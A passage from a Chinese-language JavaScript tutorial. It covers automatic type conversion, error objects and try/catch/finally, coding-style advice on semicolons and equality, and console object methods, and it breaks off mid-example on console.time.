Boolean(new Boolean(false)) // true

所有对象的布尔值都是true,这是因为 JavaScript 语言设计的时候,出于性能的考虑,如果对象需要计算才能得到布尔值,对于obj1 && obj2这样的场景,可能会需要较多的计算。为了保证性能,就统一规定,对象的布尔值为true

自动转换

下面介绍自动转换,它是以强制转换为基础的。

遇到以下三种情况时,JavaScript 会自动转换数据类型,即转换是自动完成的,用户不可见。

第一种情况,不同类型的数据互相运算。

1
123 + 'abc' // "123abc"

第二种情况,对非布尔值类型的数据求布尔值。

1
2
3
if ('abc') {
console.log('hello')
} // "hello"

第三种情况,对非数值类型的值使用一元运算符(即+-)。

1
2
+ {foo: 'bar'} // NaN
- [1, 2, 3] // NaN

自动转换的规则是这样的:预期什么类型的值,就调用该类型的转换函数。比如,某个位置预期为字符串,就调用String函数进行转换。如果该位置即可以是字符串,也可能是数值,那么默认转为数值。

由于自动转换具有不确定性,而且不易除错,建议在预期为布尔值、数值、字符串的地方,全部使用BooleanNumberString函数进行显式转换。

自动转换为布尔值

JavaScript 遇到预期为布尔值的地方(比如if语句的条件部分),就会将非布尔值的参数自动转换为布尔值。系统内部会自动调用Boolean函数。

因此除了以下五个值,其他都是自动转为true

  • undefined
  • null
  • +0-0
  • NaN
  • ''(空字符串)

下面这个例子中,条件部分的每个值都相当于false,使用否定运算符后,就变成了true

1
2
3
4
5
6
7
8
if ( !undefined
&& !null
&& !0
&& !NaN
&& !''
) {
console.log('true');
} // true

下面两种写法,有时也用于将一个表达式转为布尔值。它们内部调用的也是Boolean函数。

1
2
3
4
5
// 写法一
expression ? true : false

// 写法二
!! expression

自动转换为字符串

JavaScript 遇到预期为字符串的地方,就会将非字符串的值自动转为字符串。具体规则是,先将复合类型的值转为原始类型的值,再将原始类型的值转为字符串。

字符串的自动转换,主要发生在字符串的加法运算时。当一个值为字符串,另一个值为非字符串,则后者转为字符串。

1
2
3
4
5
6
7
8
'5' + 1 // '51'
'5' + true // "5true"
'5' + false // "5false"
'5' + {} // "5[object Object]"
'5' + [] // "5"
'5' + function (){} // "5function (){}"
'5' + undefined // "5undefined"
'5' + null // "5null"

这种自动转换很容易出错。

1
2
3
4
5
var obj = {
width: '100'
};

obj.width + 20 // "10020"

上面代码中,开发者可能期望返回120,但是由于自动转换,实际上返回了一个字符10020

自动转换为数值

JavaScript 遇到预期为数值的地方,就会将参数值自动转换为数值。系统内部会自动调用Number函数。

除了加法运算符(+)有可能把运算子转为字符串,其他运算符都会把运算子自动转成数值。

1
2
3
4
5
6
7
8
9
10
'5' - '2' // 3
'5' * '2' // 10
true - 1 // 0
false - 1 // -1
'1' - 1 // 0
'5' * [] // 0
false / '5' // 0
'abc' - 1   // NaN
null + 1 // 1
undefined + 1 // NaN

上面代码中,运算符两侧的运算子,都被转成了数值。

注意:null转为数值时为0,而undefined转为数值时为NaN

一元运算符也会把运算子转成数值。

1
2
3
4
+'abc' // NaN
-'abc' // NaN
+true // 1
-false // 0

参考链接

错误处理机制

Error 实例对象

JavaScript 解析或运行时,一旦发生错误,引擎就会抛出一个错误对象。JavaScript 原生提供Error构造函数,所有抛出的错误都是这个构造函数的实例。

1
2
var err = new Error('出错了');
err.message // "出错了"

上面代码中,我们调用Error构造函数,生成一个实例对象errError构造函数接受一个参数,表示错误提示,可以从实例的message属性读到这个参数。抛出Error实例对象以后,整个程序就中断在发生错误的地方,不再往下执行。

JavaScript 语言标准只提到,Error实例对象必须有message属性,表示出错时的提示信息,没有提到其他属性。大多数 JavaScript 引擎,对Error实例还提供namestack属性,分别表示错误的名称和错误的堆栈,但它们是非标准的,不是每种实现都有。

  • message:错误提示信息
  • name:错误名称(非标准属性)
  • stack:错误的堆栈(非标准属性)

使用namemessage这两个属性,可以对发生什么错误有一个大概的了解。

1
2
3
if (error.name) {
console.log(error.name + ': ' + error.message);
}

stack属性用来查看错误发生时的堆栈。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function throwit() {
throw new Error('');
}

function catchit() {
try {
throwit();
} catch(e) {
console.log(e.stack); // print stack trace
}
}

catchit()
// Error
// at throwit (~/examples/throwcatch.js:9:11)
// at catchit (~/examples/throwcatch.js:3:9)
// at repl:1:5

上面代码中,错误堆栈的最内层是throwit函数,然后是catchit函数,最后是函数的运行环境。

原生错误类型

Error实例对象是最一般的错误类型,在它的基础上,JavaScript 还定义了其他6种错误对象。也就是说,存在Error的6个派生对象。

SyntaxError 对象

SyntaxError对象是解析代码时发生的语法错误。

1
2
3
4
5
6
7
// 变量名错误
var 1a;
// Uncaught SyntaxError: Invalid or unexpected token

// 缺少括号
console.log 'hello');
// Uncaught SyntaxError: Unexpected string

上面代码的错误,都是在语法解析阶段就可以发现,所以会抛出SyntaxError。第一个错误提示是“token 非法”,第二个错误提示是“字符串不符合要求”。

ReferenceError 对象

ReferenceError对象是引用一个不存在的变量时发生的错误。

1
2
3
// 使用一个不存在的变量
unknownVariable
// Uncaught ReferenceError: unknownVariable is not defined

另一种触发场景是,将一个值分配给无法分配的对象,比如对函数的运行结果或者this赋值。

1
2
3
4
5
6
7
// 等号左侧不是变量
console.log() = 1
// Uncaught ReferenceError: Invalid left-hand side in assignment

// this 对象不能手动赋值
this = 1
// ReferenceError: Invalid left-hand side in assignment

上面代码对函数console.log的运行结果和this赋值,结果都引发了ReferenceError错误。

RangeError 对象

RangeError对象是一个值超出有效范围时发生的错误。主要有几种情况,一是数组长度为负数,二是Number对象的方法参数超出范围,以及函数堆栈超过最大值。

1
2
3
// 数组长度不得为负数
new Array(-1)
// Uncaught RangeError: Invalid array length

TypeError 对象

TypeError对象是变量或参数不是预期类型时发生的错误。比如,对字符串、布尔值、数值等原始类型的值使用new命令,就会抛出这种错误,因为new命令的参数应该是一个构造函数。

1
2
3
4
5
6
new 123
// Uncaught TypeError: number is not a func

var obj = {};
obj.unknownMethod()
// Uncaught TypeError: obj.unknownMethod is not a function

上面代码的第二种情况,调用对象不存在的方法,也会抛出TypeError错误,因为obj.unknownMethod的值是undefined,而不是一个函数。

URIError 对象

URIError对象是 URI 相关函数的参数不正确时抛出的错误,主要涉及encodeURI()decodeURI()encodeURIComponent()decodeURIComponent()escape()unescape()这六个函数。

1
2
decodeURI('%2')
// URIError: URI malformed

EvalError 对象

eval函数没有被正确执行时,会抛出EvalError错误。该错误类型已经不再使用了,只是为了保证与以前代码兼容,才继续保留。

总结

以上这6种派生错误,连同原始的Error对象,都是构造函数。开发者可以使用它们,手动生成错误对象的实例。这些构造函数都接受一个参数,代表错误提示信息(message)。

1
2
3
4
5
6
7
var err1 = new Error('出错了!');
var err2 = new RangeError('出错了,变量超出有效范围!');
var err3 = new TypeError('出错了,变量类型无效!');

err1.message // "出错了!"
err2.message // "出错了,变量超出有效范围!"
err3.message // "出错了,变量类型无效!"

自定义错误

除了 JavaScript 原生提供的七种错误对象,还可以定义自己的错误对象。

1
2
3
4
5
6
7
function UserError(message) {
this.message = message || '默认信息';
this.name = 'UserError';
}

UserError.prototype = new Error();
UserError.prototype.constructor = UserError;

上面代码自定义一个错误对象UserError,让它继承Error对象。然后,就可以生成这种自定义类型的错误了。

1
new UserError('这是自定义的错误!');

throw 语句

throw语句的作用是手动中断程序执行,抛出一个错误。

1
2
3
4
if (x <= 0) {
throw new Error('x 必须为正数');
}
// Uncaught ReferenceError: x is not defined

上面代码中,如果变量x小于等于0,就手动抛出一个错误,告诉用户x的值不正确,整个程序就会在这里中断执行。可以看到,throw抛出的错误就是它的参数,这里是一个Error实例。

throw也可以抛出自定义错误。

1
2
3
4
5
6
7
function UserError(message) {
this.message = message || '默认信息';
this.name = 'UserError';
}

throw new UserError('出错了!');
// Uncaught UserError {message: "出错了!", name: "UserError"}

上面代码中,throw抛出的是一个UserError实例。

实际上,throw可以抛出任何类型的值。也就是说,它的参数可以是任何值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 抛出一个字符串
throw 'Error!';
// Uncaught Error!

// 抛出一个数值
throw 42;
// Uncaught 42

// 抛出一个布尔值
throw true;
// Uncaught true

// 抛出一个对象
throw {
toString: function () {
return 'Error!';
}
};
// Uncaught {toString: ƒ}

对于 JavaScript 引擎来说,遇到throw语句,程序就中止了。引擎会接收到throw抛出的信息,可能是一个错误实例,也可能是其他类型的值。

try…catch 结构

一旦发生错误,程序就中止执行了。JavaScript 提供了try...catch结构,允许对错误进行处理,选择是否往下执行。

1
2
3
4
5
6
7
8
9
try {
throw new Error('出错了!');
} catch (e) {
console.log(e.name + ": " + e.message);
console.log(e.stack);
}
// Error: 出错了!
// at <anonymous>:3:9
// ...

上面代码中,try代码块抛出错误(上例用的是throw语句),JavaScript 引擎就立即把代码的执行,转到catch代码块,或者说错误被catch代码块捕获了。catch接受一个参数,表示try代码块抛出的值。

如果你不确定某些代码是否会报错,就可以把它们放在try...catch代码块之中,便于进一步对错误进行处理。

1
2
3
4
5
try {
f();
} catch(e) {
// 处理错误
}

上面代码中,如果函数f执行报错,就会进行catch代码块,接着对错误进行处理。

catch代码块捕获错误之后,程序不会中断,会按照正常流程继续执行下去。

1
2
3
4
5
6
7
8
try {
throw "出错了";
} catch (e) {
console.log(111);
}
console.log(222);
// 111
// 222

上面代码中,try代码块抛出的错误,被catch代码块捕获后,程序会继续向下执行。

catch代码块之中,还可以再抛出错误,甚至使用嵌套的try...catch结构。

1
2
3
4
5
6
7
8
9
10
11
12
var n = 100;

try {
throw n;
} catch (e) {
if (e <= 50) {
// ...
} else {
throw e;
}
}
// Uncaught 100

上面代码中,catch代码之中又抛出了一个错误。

为了捕捉不同类型的错误,catch代码块之中可以加入判断语句。

1
2
3
4
5
6
7
8
9
10
try {
foo.bar();
} catch (e) {
if (e instanceof EvalError) {
console.log(e.name + ": " + e.message);
} else if (e instanceof RangeError) {
console.log(e.name + ": " + e.message);
}
// ...
}

上面代码中,catch捕获错误之后,会判断错误类型(EvalError还是RangeError),进行不同的处理。

finally 代码块

try...catch结构允许在最后添加一个finally代码块,表示不管是否出现错误,都必需在最后运行的语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function cleansUp() {
try {
throw new Error('出错了……');
console.log('此行不会执行');
} finally {
console.log('完成清理工作');
}
}

cleansUp()
// 完成清理工作
// Uncaught Error: 出错了……
// at cleansUp (<anonymous>:3:11)
// at <anonymous>:10:1

上面代码中,由于没有catch语句块,一旦发生错误,代码就会中断执行。中断执行之前,会先执行finally代码块,然后再向用户提示报错信息。

1
2
3
4
5
6
7
8
9
10
11
12
function idle(x) {
try {
console.log(x);
return 'result';
} finally {
console.log('FINALLY');
}
}

idle('hello')
// hello
// FINALLY

上面代码中,try代码块没有发生错误,而且里面还包括return语句,但是finally代码块依然会执行。而且,这个函数的返回值还是result

下面的例子说明,return语句的执行是排在finally代码之前,只是等finally代码执行完毕后才返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
var count = 0;
function countUp() {
try {
return count;
} finally {
count++;
}
}

countUp()
// 0
count
// 1

上面代码说明,return语句里面的count的值,是在finally代码块运行之前就获取了。

下面是finally代码块用法的典型场景。

1
2
3
4
5
6
7
8
9
openFile();

try {
writeFile(Data);
} catch(e) {
handleError(e);
} finally {
closeFile();
}

上面代码首先打开一个文件,然后在try代码块中写入文件,如果没有发生错误,则运行finally代码块关闭文件;一旦发生错误,则先使用catch代码块处理错误,再使用finally代码块关闭文件。

下面的例子充分反映了try...catch...finally这三者之间的执行顺序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function f() {
try {
console.log(0);
throw 'bug';
} catch(e) {
console.log(1);
return true; // 这句原本会延迟到 finally 代码块结束再执行
console.log(2); // 不会运行
} finally {
console.log(3);
return false; // 这句会覆盖掉前面那句 return
console.log(4); // 不会运行
}

console.log(5); // 不会运行
}

var result = f();
// 0
// 1
// 3

result
// false

上面代码中,catch代码块结束执行之前,会先执行finally代码块。

catch代码块之中,触发转入finally代码快的标志,不仅有return语句,还有throw语句。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function f() {
try {
throw '出错了!';
} catch(e) {
console.log('捕捉到内部错误');
throw e; // 这句原本会等到finally结束再执行
} finally {
return false; // 直接返回
}
}

try {
f();
} catch(e) {
// 此处不会执行
console.log('caught outer "bogus"');
}

// 捕捉到内部错误

上面代码中,进入catch代码块之后,一遇到throw语句,就会去执行finally代码块,其中有return false语句,因此就直接返回了,不再会回去执行catch代码块剩下的部分了。

try代码块内部,还可以再使用try代码块。

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
try {
consle.log('Hello world!'); // 报错
}
finally {
console.log('Finally');
}
console.log('Will I run?');
} catch(error) {
console.error(error.message);
}
// Finally
// consle is not defined

上面代码中,try里面还有一个try。内层的try报错(console拼错了),这时会执行内层的finally代码块,然后抛出错误,被外层的catch捕获。

参考连接

编程风格

概述

“编程风格”(programming style)指的是编写代码的样式规则。不同的程序员,往往有不同的编程风格。

有人说,编译器的规范叫做“语法规则”(grammar),这是程序员必须遵守的;而编译器忽略的部分,就叫“编程风格”(programming style),这是程序员可以自由选择的。这种说法不完全正确,程序员固然可以自由选择编程风格,但是好的编程风格有助于写出质量更高、错误更少、更易于维护的程序。

所以,编程风格的选择不应该基于个人爱好、熟悉程度、打字量等因素,而要考虑如何尽量使代码清晰易读、减少出错。你选择的,不是你喜欢的风格,而是一种能够清晰表达你的意图的风格。这一点,对于 JavaScript 这种语法自由度很高的语言尤其重要。

必须牢记的一点是,如果你选定了一种“编程风格”,就应该坚持遵守,切忌多种风格混用。如果你加入他人的项目,就应该遵守现有的风格。

缩进

行首的空格和 Tab 键,都可以产生代码缩进效果(indent)。

Tab 键可以节省击键次数,但不同的文本编辑器对 Tab 的显示不尽相同,有的显示四个空格,有的显示两个空格,所以有人觉得,空格键可以使得显示效果更统一。

无论你选择哪一种方法,都是可以接受的,要做的就是始终坚持这一种选择。不要一会使用 Tab 键,一会使用空格键。

区块

如果循环和判断的代码体只有一行,JavaScript 允许该区块(block)省略大括号。

1
2
3
if (a)
b();
c();

上面代码的原意可能是下面这样。

1
2
3
4
if (a) {
b();
c();
}

但是,实际效果却是下面这样。

1
2
3
4
if (a) {
b();
}
c();

因此,建议总是使用大括号表示区块。

另外,区块起首的大括号的位置,有许多不同的写法。最流行的有两种,一种是起首的大括号另起一行。

1
2
3
4
block
{
// ...
}

另一种是起首的大括号跟在关键字的后面。

1
2
3
block {
// ...
}

一般来说,这两种写法都可以接受。但是,JavaScript 要使用后一种,因为 JavaScript 会自动添加句末的分号,导致一些难以察觉的错误。

1
2
3
4
5
6
7
8
9
10
return
{
key: value
};

// 相当于
return;
{
key: value
};

上面的代码的原意,是要返回一个对象,但实际上返回的是undefined,因为 JavaScript 自动在return语句后面添加了分号。为了避免这一类错误,需要写成下面这样。

1
2
3
return {
key : value
};

因此,表示区块起首的大括号,不要另起一行。

圆括号

圆括号(parentheses)在 JavaScript 中有两种作用,一种表示函数的调用,另一种表示表达式的组合(grouping)。

1
2
3
4
5
// 圆括号表示函数的调用
console.log('abc');

// 圆括号表示表达式的组合
(1 + 2) * 3

建议可以用空格,区分这两种不同的括号。

  1. 表示函数调用时,函数名与左括号之间没有空格。

  2. 表示函数定义时,函数名与左括号之间没有空格。

  3. 其他情况时,前面位置的语法元素与左括号之间,都有一个空格。

按照上面的规则,下面的写法都是不规范的。

1
2
3
4
5
foo (bar)
return(a+b);
if(a === 0) {...}
function foo (b) {...}
function(x) {...}

上面代码的最后一行是一个匿名函数,function是语法关键字,不是函数名,所以与左括号之间应该要有一个空格。

行尾的分号

分号表示一条语句的结束。JavaScript 允许省略行尾的分号。事实上,确实有一些开发者行尾从来不写分号。但是,由于下面要讨论的原因,建议还是不要省略这个分号。

不使用分号的情况

首先,以下三种情况,语法规定本来就不需要在结尾添加分号。

(1)for 和 while 循环

1
2
3
4
5
for ( ; ; ) {
} // 没有分号

while (true) {
} // 没有分号

注意,do...while循环是有分号的。

1
2
3
do {
a--;
} while(a > 0); // 分号不能省略

(2)分支语句:if,switch,try

1
2
3
4
5
6
7
8
9
if (true) {
} // 没有分号

switch () {
} // 没有分号

try {
} catch {
} // 没有分号

(3)函数的声明语句

1
2
function f() {
} // 没有分号

注意,函数表达式仍然要使用分号。

1
2
var f = function f() {
};

以上三种情况,如果使用了分号,并不会出错。因为,解释引擎会把这个分号解释为空语句。

分号的自动添加

除了上一节的三种情况,所有语句都应该使用分号。但是,如果没有使用分号,大多数情况下,JavaScript 会自动添加。

1
2
3
var a = 1
// 等同于
var a = 1;

这种语法特性被称为“分号的自动添加”(Automatic Semicolon Insertion,简称 ASI)。

因此,有人提倡省略句尾的分号。麻烦的是,如果下一行的开始可以与本行的结尾连在一起解释,JavaScript 就不会自动添加分号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 等同于 var a = 3
var
a
=
3

// 等同于 'abc'.length
'abc'
.length

// 等同于 return a + b;
return a +
b;

// 等同于 obj.foo(arg1, arg2);
obj.foo(arg1,
arg2);

// 等同于 3 * 2 + 10 * (27 / 6)
3 * 2
+
10 * (27 / 6)

上面代码都会多行放在一起解释,不会每一行自动添加分号。这些例子还是比较容易看出来的,但是下面这个例子就不那么容易看出来了。

1
2
3
4
5
6
7
x = y
(function () {
// ...
})();

// 等同于
x = y(function () {...})();

下面是更多不会自动添加分号的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 引擎解释为 c(d+e)
var a = b + c
(d+e).toString();

// 引擎解释为 a = b/hi/g.exec(c).map(d)
// 正则表达式的斜杠,会当作除法运算符
a = b
/hi/g.exec(c).map(d);

// 解释为'b'['red', 'green'],
// 即把字符串当作一个数组,按索引取值
var a = 'b'
['red', 'green'].forEach(function (c) {
console.log(c);
})

// 解释为 function (x) { return x }(a++)
// 即调用匿名函数,结果f等于0
var a = 0;
var f = function (x) { return x }
(a++)

只有下一行的开始与本行的结尾,无法放在一起解释,JavaScript 引擎才会自动添加分号。

1
2
3
4
5
6
7
if (a < 0) a = 0
console.log(a)

// 等同于下面的代码,
// 因为 0console 没有意义
if (a < 0) a = 0;
console.log(a)

另外,如果一行的起首是“自增”(++)或“自减”(--)运算符,则它们的前面会自动添加分号。

1
2
3
4
5
6
7
8
9
10
a = b = c = 1

a
++
b
--
c

console.log(a, b, c)
// 1 2 0

上面代码之所以会得到1 2 0的结果,原因是自增和自减运算符前,自动加上了分号。上面的代码实际上等同于下面的形式。

1
2
3
4
a = b = c = 1;
a;
++b;
--c;

如果continuebreakreturnthrow这四个语句后面,直接跟换行符,则会自动添加分号。这意味着,如果return语句返回的是一个对象的字面量,起首的大括号一定要写在同一行,否则得不到预期结果。

1
2
3
4
5
6
return
{ first: 'Jane' };

// 解释成
return;
{ first: 'Jane' };

由于解释引擎自动添加分号的行为难以预测,因此编写代码的时候不应该省略行尾的分号。

不应该省略结尾的分号,还有一个原因。有些 JavaScript 代码压缩器(uglifier)不会自动添加分号,因此遇到没有分号的结尾,就会让代码保持原状,而不是压缩成一行,使得压缩无法得到最优的结果。

另外,不写结尾的分号,可能会导致脚本合并出错。所以,有的代码库在第一行语句开始前,会加上一个分号。

1
2
;var a = 1;
// ...

上面这种写法就可以避免与其他脚本合并时,排在前面的脚本最后一行语句没有分号,导致运行出错的问题。

全局变量

JavaScript 最大的语法缺点,可能就是全局变量对于任何一个代码块,都是可读可写。这对代码的模块化和重复使用,非常不利。

因此,建议避免使用全局变量。如果不得不使用,可以考虑用大写字母表示变量名,这样更容易看出这是全局变量,比如UPPER_CASE

变量声明

JavaScript 会自动将变量声明“提升”(hoist)到代码块(block)的头部。

1
2
3
4
5
6
7
8
9
if (!x) {
var x = {};
}

// 等同于
var x;
if (!x) {
x = {};
}

这意味着,变量xif代码块之前就存在了。为了避免可能出现的问题,最好把变量声明都放在代码块的头部。

1
2
3
4
5
6
7
8
9
for (var i = 0; i < 10; i++) {
// ...
}

// 写成
var i;
for (i = 0; i < 10; i++) {
// ...
}

上面这样的写法,就容易看出存在一个全局的循环变量i

另外,所有函数都应该在使用之前定义。函数内部的变量声明,都应该放在函数的头部。

with 语句

with可以减少代码的书写,但是会造成混淆。

1
2
3
with (o) {
 foo = bar;
}

上面的代码,可以有四种运行结果:

1
2
3
4
o.foo = bar;
o.foo = o.bar;
foo = bar;
foo = o.bar;

这四种结果都可能发生,取决于不同的变量是否有定义。因此,不要使用with语句。

相等和严格相等

JavaScript 有两个表示相等的运算符:“相等”(==)和“严格相等”(===)。

相等运算符会自动转换变量类型,造成很多意想不到的情况。

1
2
3
4
5
6
7
0 == ''// true
1 == true // true
2 == true // false
0 == '0' // true
false == 'false' // false
false == '0' // true
' \t\r\n ' == 0 // true

因此,建议不要使用相等运算符(==),只使用严格相等运算符(===)。

语句的合并

有些程序员追求简洁,喜欢合并不同目的的语句。比如,原来的语句是

1
2
3
4
a = b;
if (a) {
// ...
}

他喜欢写成下面这样。

1
2
3
if (a = b) {
// ...
}

虽然语句少了一行,但是可读性大打折扣,而且会造成误读,让别人误解这行代码的意思是下面这样。

1
2
3
if (a === b){
// ...
}

建议不要将不同目的的语句,合并成一行。

自增和自减运算符

自增(++)和自减(--)运算符,放在变量的前面或后面,返回的值不一样,很容易发生错误。事实上,所有的++运算符都可以用+= 1代替。

1
2
3
++x
// 等同于
x += 1;

改用+= 1,代码变得更清晰了。

建议自增(++)和自减(--)运算符尽量使用+=-=代替。

switch…case 结构

switch...case结构要求,在每一个case的最后一行必须是break语句,否则会接着运行下一个case。这样不仅容易忘记,还会造成代码的冗长。

而且,switch...case不使用大括号,不利于代码形式的统一。此外,这种结构类似于goto语句,容易造成程序流程的混乱,使得代码结构混乱不堪,不符合面向对象编程的原则。

1
2
3
4
5
6
7
8
9
10
11
12
function doAction(action) {
switch (action) {
case 'hack':
return 'hack';
case 'slash':
return 'slash';
case 'run':
return 'run';
default:
throw new Error('Invalid action.');
}
}

上面的代码建议改写成对象结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function doAction(action) {
var actions = {
'hack': function () {
return 'hack';
},
'slash': function () {
return 'slash';
},
'run': function () {
return 'run';
}
};

if (typeof actions[action] !== 'function') {
throw new Error('Invalid action.');
}

return actions[action]();
}

因此,建议switch...case结构可以用对象结构代替。

参考链接

console 对象与控制台

console 对象

console对象是 JavaScript 的原生对象,它有点像 Unix 系统的标准输出stdout和标准错误stderr,可以输出各种信息到控制台,并且还提供了很多有用的辅助方法。

console的常见用途有两个。

  • 调试程序,显示网页代码运行时的错误信息。
  • 提供了一个命令行接口,用来与网页代码互动。

console对象的浏览器实现,包含在浏览器自带的开发工具之中。以 Chrome 浏览器的“开发者工具”(Developer Tools)为例,可以使用下面三种方法的打开它。

  1. 按 F12 或者Control + Shift + i(PC)/ Command + Option + i(Mac)。
  2. 浏览器菜单选择“工具/开发者工具”。
  3. 在一个页面元素上,打开右键菜单,选择其中的“Inspect Element”。

打开开发者工具以后,顶端有多个面板。

  • Elements:查看网页的 HTML 源码和 CSS 代码。
  • Resources:查看网页加载的各种资源文件(比如代码文件、字体文件 CSS 文件等),以及在硬盘上创建的各种内容(比如本地缓存、Cookie、Local Storage等)。
  • Network:查看网页的 HTTP 通信情况。
  • Sources:查看网页加载的脚本源码。
  • Timeline:查看各种网页行为随时间变化的情况。
  • Performance:查看网页的性能情况,比如 CPU 和内存消耗。
  • Console:用来运行 JavaScript 命令。

这些面板都有各自的用途,以下只介绍Console面板(又称为控制台)。

Console面板基本上就是一个命令行窗口,你可以在提示符下,键入各种命令。

console 对象的静态方法

console对象提供的各种静态方法,用来与控制台窗口互动。

console.log(),console.info(),console.debug()

console.log方法用于在控制台输出信息。它可以接受一个或多个参数,将它们连接起来输出。

1
2
3
4
console.log('Hello World')
// Hello World
console.log('a', 'b', 'c')
// a b c

console.log方法会自动在每次输出的结尾,添加换行符。

1
2
3
4
5
6
console.log(1);
console.log(2);
console.log(3);
// 1
// 2
// 3

如果第一个参数是格式字符串(使用了格式占位符),console.log方法将依次用后面的参数替换占位符,然后再进行输出。

1
2
console.log(' %s + %s = %s', 1, 1, 2)
// 1 + 1 = 2

上面代码中,console.log方法的第一个参数有三个占位符(%s),第二、三、四个参数会在显示时,依次替换掉这个三个占位符。

console.log方法支持以下占位符,不同类型的数据必须使用对应的占位符。

  • %s 字符串
  • %d 整数
  • %i 整数
  • %f 浮点数
  • %o 对象的链接
  • %c CSS 格式字符串
1
2
3
4
5
var number = 11 * 9;
var color = 'red';

console.log('%d %s balloons', number, color);
// 99 red balloons

上面代码中,第二个参数是数值,对应的占位符是%d,第三个参数是字符串,对应的占位符是%s

使用%c占位符时,对应的参数必须是 CSS 代码,用来对输出内容进行 CSS 渲染。

1
2
3
4
console.log(
'%cThis text is styled!',
'color: red; background: yellow; font-size: 24px;'
)

上面代码运行后,输出的内容将显示为黄底红字。

console.log方法的两种参数格式,可以结合在一起使用。

1
2
console.log(' %s + %s ', 1, 1, '= 2')
// 1 + 1 = 2

如果参数是一个对象,console.log会显示该对象的值。

1
2
3
4
console.log({foo: 'bar'})
// Object {foo: "bar"}
console.log(Date)
// function Date() { [native code] }

上面代码输出Date对象的值,结果为一个构造函数。

console.infoconsole.log方法的别名,用法完全一样。只不过console.info方法会在输出信息的前面,加上一个蓝色图标。

console.debug方法与console.log方法类似,会在控制台输出调试信息。但是,默认情况下,console.debug输出的信息不会显示,只有在打开显示级别在verbose的情况下,才会显示。

console对象的所有方法,都可以被覆盖。因此,可以按照自己的需要,定义console.log方法。

1
2
3
4
5
6
7
8
9
['log', 'info', 'warn', 'error'].forEach(function(method) {
console[method] = console[method].bind(
console,
new Date().toISOString()
);
});

console.log("出错了!");
// 2014-05-18T09:00.000Z 出错了!

上面代码表示,使用自定义的console.log方法,可以在显示结果添加当前时间。

console.warn(),console.error()

warn方法和error方法也是在控制台输出信息,它们与log方法的不同之处在于,warn方法输出信息时,在最前面加一个黄色三角,表示警告;error方法输出信息时,在最前面加一个红色的叉,表示出错。同时,还会高亮显示输出文字和错误发生的堆栈。其他方面都一样。

1
2
3
4
console.error('Error: %s (%i)', 'Server is not responding', 500)
// Error: Server is not responding (500)
console.warn('Warning! Too few nodes (%d)', document.childNodes.length)
// Warning! Too few nodes (1)

可以这样理解,log方法是写入标准输出(stdout),warn方法和error方法是写入标准错误(stderr)。

console.table()

对于某些复合类型的数据,console.table方法可以将其转为表格显示。

1
2
3
4
5
6
7
var languages = [
{ name: "JavaScript", fileExtension: ".js" },
{ name: "TypeScript", fileExtension: ".ts" },
{ name: "CoffeeScript", fileExtension: ".coffee" }
];

console.table(languages);

上面代码的language变量,转为表格显示如下。

(index) name fileExtension
0 “JavaScript” “.js”
1 “TypeScript” “.ts”
2 “CoffeeScript” “.coffee”

下面是显示表格内容的例子。

1
2
3
4
5
6
var languages = {
csharp: { name: "C#", paradigm: "object-oriented" },
fsharp: { name: "F#", paradigm: "functional" }
};

console.table(languages);

上面代码的language,转为表格显示如下。

(index) name paradigm
csharp “C#” “object-oriented”
fsharp “F#” “functional”

console.count()

count方法用于计数,输出它被调用了多少次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function greet(user) {
console.count();
return 'hi ' + user;
}

greet('bob')
// : 1
// "hi bob"

greet('alice')
// : 2
// "hi alice"

greet('bob')
// : 3
// "hi bob"

上面代码每次调用greet函数,内部的console.count方法就输出执行次数。

该方法可以接受一个字符串作为参数,作为标签,对执行次数进行分类。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function greet(user) {
console.count(user);
return "hi " + user;
}

greet('bob')
// bob: 1
// "hi bob"

greet('alice')
// alice: 1
// "hi alice"

greet('bob')
// bob: 2
// "hi bob"

上面代码根据参数的不同,显示bob执行了两次,alice执行了一次。

console.dir(),console.dirxml()

dir方法用来对一个对象进行检查(inspect),并以易于阅读和打印的格式显示。

1
2
3
4
5
6
7
8
console.log({f1: 'foo', f2: 'bar'})
// Object {f1: "foo", f2: "bar"}

console.dir({f1: 'foo', f2: 'bar'})
// Object
// f1: "foo"
// f2: "bar"
// __proto__: Object

上面代码显示dir方法的输出结果,比log方法更易读,信息也更丰富。

该方法对于输出 DOM 对象非常有用,因为会显示 DOM 对象的所有属性。

1
console.dir(document.body)

Node 环境之中,还可以指定以代码高亮的形式输出。

1
console.dir(obj, {colors: true})

dirxml方法主要用于以目录树的形式,显示 DOM 节点。

1
console.dirxml(document.body)

如果参数不是 DOM 节点,而是普通的 JavaScript 对象,console.dirxml等同于console.dir

1
2
3
console.dirxml([1, 2, 3])
// 等同于
console.dir([1, 2, 3])

console.assert()

console.assert方法主要用于程序运行过程中,进行条件判断,如果不满足条件,就显示一个错误,但不会中断程序执行。这样就相当于提示用户,内部状态不正确。

它接受两个参数,第一个参数是表达式,第二个参数是字符串。只有当第一个参数为false,才会提示有错误,在控制台输出第二个参数,否则不会有任何结果。

1
2
3
4
5
6
7
8
9
10
11
console.assert(false, '判断条件不成立')
// Assertion failed: 判断条件不成立

// 相当于
try {
if (!false) {
throw new Error('判断条件不成立');
}
} catch(e) {
console.error(e);
}

下面是一个例子,判断子节点的个数是否大于等于500。

1
console.assert(list.childNodes.length < 500, '节点个数大于等于500')

上面代码中,如果符合条件的节点小于500个,不会有任何输出;只有大于等于500时,才会在控制台提示错误,并且显示指定文本。

console.time(),console.timeEnd()

这两个方法用于计时,可以算出一个操作所花费的准确时间。

1
2
3
4
5
6
7
8
9
console.time('Array initialize');

var array= new Array(1000000);
for (var i = array.length - 1; i >= 0; i--) {
array[i] = new Object();
};

console.timeEnd('Array initialize');
// Array initialize: 1914.481ms

